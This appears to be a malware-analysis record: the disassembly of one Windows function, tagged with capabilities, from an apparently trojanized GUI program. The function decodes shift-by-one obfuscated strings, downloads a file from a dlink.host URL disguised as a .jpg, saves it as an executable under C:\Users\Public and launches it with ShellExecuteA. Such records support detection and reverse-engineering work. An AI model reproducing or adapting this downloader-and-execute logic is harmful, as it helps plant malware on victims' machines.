Function at 0x404c10
Capabilities:
Contain obfuscated stackstrings
Create process on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x5a8ede
mov eax, dword fs:[0]
push eax
sub esp, 0x110
mov eax, dword [0x60d110]
xor eax, esp
mov dword [esp + 0x108], eax
push ebx
push esi
push edi
mov eax, dword [0x60d110]
xor eax, esp
push eax
lea eax, [esp + 0x120]
mov dword fs:[0], eax
lea eax, [esp + 0x18]
mov esi, ecx
push eax
mov dword [esp + 0x14], esi
mov dword [esp + 0x1c], 8
mov dword [esp + 0x20], 0xff
call dword [sym.imp.COMCTL32.dll_InitCommonControlsEx]
mov ecx, esi
call fcn.00476587
xor ebx, ebx
mov eax, str.D___Vtfst__Qvcmjd__fo_ebu
mov dword [esp + 0x104], 0x38314235
mov dword [esp + 0x108], 0x44413343
mov dword [esp + 0x10c], 0x52464338
mov dword [esp + 0x110], 0x39334434
mov byte [esp + 0x114], bl
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x404cb5
sub eax, esi
xor ecx, ecx
cmp eax, ebx
jbe 0x404ce3
jmp 0x404cd0
mov dl, byte [ecx + str.D___Vtfst__Qvcmjd__fo_ebu]
dec dl
mov byte [ecx + str.D___Vtfst__Qvcmjd__fo_ebu], dl
inc ecx
cmp ecx, eax
jb 0x404cd0
mov eax, str.D___Vtfst__Qvcmjd__ef_ebu
lea edx, [eax + 1]
jmp 0x404cf0
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x404cf0
sub eax, edx
mov edx, eax
xor eax, eax
cmp edx, ebx
jbe 0x404d14
mov cl, byte [eax + str.D___Vtfst__Qvcmjd__ef_ebu]
dec cl
mov byte [eax + str.D___Vtfst__Qvcmjd__ef_ebu], cl
inc eax
cmp eax, edx
jb 0x404d01
mov eax, str.__CjuUpssfou__FwfsopufNpvtfUsbz_fyf
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x404d20
sub eax, edx
mov edx, eax
xor eax, eax
cmp edx, ebx
jbe 0x404d44
mov cl, byte [eax + str.__CjuUpssfou__FwfsopufNpvtfUsbz_fyf]
dec cl
mov byte [eax + str.__CjuUpssfou__FwfsopufNpvtfUsbz_fyf], cl
inc eax
cmp eax, edx
jb 0x404d31
mov eax, 0xf
mov dword [esp + 0x9c], vtable.CDownloader.0
mov dword [esp + 0xa0], ebx
mov dword [esp + 0xa4], ebx
mov byte [esp + 0xa8], bl
mov dword [esp + 0xc0], eax
mov dword [esp + 0xbc], ebx
mov byte [esp + 0xac], bl
mov dword [esp + 0xdc], eax
mov dword [esp + 0xd8], ebx
mov byte [esp + 0xc8], bl
mov dword [esp + 0x128], 1
mov dword [esp + 0xfc], eax
mov eax, str.D___Vtfst__Qvcmjd__fo_ebu
mov dword [esp + 0xf8], ebx
mov byte [esp + 0xe8], bl
lea edx, [eax + 1]
jmp 0x404dc0
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x404dc0
sub eax, edx
mov edi, eax
mov eax, str.D___Vtfst__Qvcmjd__fo_ebu
lea esi, [esp + 0xe8]
call fcn.00402400
mov byte [esp + 0x128], 2
mov edi, 0x68
mov eax, str.https:__dlink.host_1drv_aHR0cHM6Ly8xZHJ2Lm1zL2kvcyFBa0ZQRnBaT2Q2d0FnbXNHZk95TnRtU1JLUkpwP2U9dDJRV3VB.jpg
lea esi, [esp + 0x80]
mov dword [esp + 0x94], 0xf
mov dword [esp + 0x90], ebx
mov byte [esp + 0x80], bl
call fcn.00402400
lea ecx, [esp + 0xe8]
push ecx
mov edx, esi
push edx
lea ecx, [esp + 0xa4]
mov byte [esp + 0x130], 3
call fcn.004021d0
mov esi, 0x10
mov byte [esp + 0x128], 2
cmp dword [esp + 0x94], esi
jb 0x404e58
mov eax, dword [esp + 0x80]
push eax
call fcn.0040b731
add esp, 4
mov byte [esp + 0x128], 1
mov dword [esp + 0x94], 0xf
mov dword [esp + 0x90], ebx
mov byte [esp + 0x80], bl
cmp dword [esp + 0xfc], esi
jb 0x404e92
mov ecx, dword [esp + 0xe8]
push ecx
call fcn.0040b731
add esp, 4
mov edx, dword [esp + 0xa0]
push edx
call fcn.0055da60
mov esi, eax
mov eax, dword [esp + 0xa8]
add esp, 4
cmp eax, ebx
je 0x404ebf
push eax
call fcn.0054347e
add esp, 4
mov dword [esp + 0xa4], ebx
cmp esi, ebx
jne 0x404ee1
mov ecx, dword [esp + 0xa0]
lea eax, [esp + 0x14]
push eax
push 0x200002
push ecx
mov dword [esp + 0x20], ebx
call fcn.0055daa0
add esp, 0xc
lea edx, [esp + 0x104]
push edx
call fcn.00404940
mov eax, str.D___Vtfst__Qvcmjd
add esp, 4
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x404f00
sub eax, edx
mov edx, eax
xor eax, eax
cmp edx, ebx
jbe 0x404f24
mov cl, byte [eax + str.D___Vtfst__Qvcmjd]
dec cl
mov byte [eax + str.D___Vtfst__Qvcmjd], cl
inc eax
cmp eax, edx
jb 0x404f11
call fcn.00404a00
mov eax, str.__CjuUpssfou__FwfsopufNpvtfUsbz_fyf
mov esi, eax
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x404f30
mov edi, str.D___Vtfst__Qvcmjd
sub eax, esi
dec edi
nop
mov cl, byte [edi + 1]
inc edi
cmp cl, bl
jne 0x404f40
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push 5
push ebx
push 0x5ca379
push str.D___Vtfst__Qvcmjd
mov ecx, eax
push str.open
and ecx, 3
push ebx
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
call fcn.004773c5
test eax, eax
jne 0x404fa0
push 0xffffffffffffffff
push ebx
push 0x64
call fcn.0043c78f
lea ecx, [esp + 0x9c]
mov dword [esp + 0x128], 0xffffffff
call fcn.00401f00
xor eax, eax
jmp 0x405146
push ebx
call fcn.00477c38
add esp, 4
push ebx
call fcn.0040be60
mov esi, dword [esp + 0x10]
push ebx
mov ecx, esi
call fcn.00476f72
push 0x5e442c
mov ecx, esi
call fcn.00476a7f
push 4
mov ecx, esi
call fcn.00475743
mov ecx, esi
call fcn.00428513
mov ecx, esi
call fcn.00428560
mov ecx, esi
call fcn.004284c3
mov eax, 1
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], eax
lea eax, [esp + 0x20]
push eax
or edi, 0xffffffff
push 0x5b6750
push 0xffff
mov ecx, 0x615478
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x38], ebx
mov dword [esp + 0x48], 0xc8
mov dword [esp + 0x4c], edi
mov dword [esp + 0x50], edi
mov dword [esp + 0x54], edi
mov dword [esp + 0x58], edi
mov dword [esp + 0x5c], edi
call fcn.004285ad
mov ecx, eax
call fcn.004781ba
push 0x8c
call fcn.0040b702
add esp, 4
mov dword [esp + 0x10], eax
mov byte [esp + 0x128], 4
cmp eax, ebx
je 0x40507f
push 0x5e496c
push 0x5e3cbc
push 0x5e473c
push 0x138
mov ecx, eax
call fcn.00479a1f
jmp 0x405081
xor eax, eax
mov byte [esp + 0x128], 1
cmp eax, ebx
je 0x4050d3
push eax
mov ecx, esi
call fcn.00479f58
lea ecx, [esp + 0x54]
call fcn.00476223
lea ecx, [esp + 0x54]
push ecx
mov ecx, esi
mov byte [esp + 0x12c], 5
call fcn.004757c9
lea edx, [esp + 0x54]
push edx
mov ecx, esi
call fcn.00479da8
test eax, eax
jne 0x4050ea
lea ecx, [esp + 0x54]
mov byte [esp + 0x128], 1
call fcn.0047628d
lea ecx, [esp + 0x9c]
mov dword [esp + 0x128], edi
call fcn.00401f00
xor eax, eax
jmp 0x405146
mov ecx, dword [esi + 0x20]
push 0x5e443c
call fcn.0042f058
mov ecx, dword [esi + 0x20]
push 2
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0042f306
mov ecx, dword [esi + 0x20]
push 5
call fcn.0042f123
mov esi, dword [esi + 0x20]
mov eax, dword [esi + 0x20]
push eax
call dword [sym.imp.USER32.dll_UpdateWindow]
lea ecx, [esp + 0x54]
mov byte [esp + 0x128], 1
call fcn.0047628d
lea ecx, [esp + 0x9c]
mov dword [esp + 0x128], edi
call fcn.00401f00
mov eax, 1
mov ecx, dword [esp + 0x120]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x108]
xor ecx, esp
call fcn.00542b84
mov esp, ebp
pop ebp
ret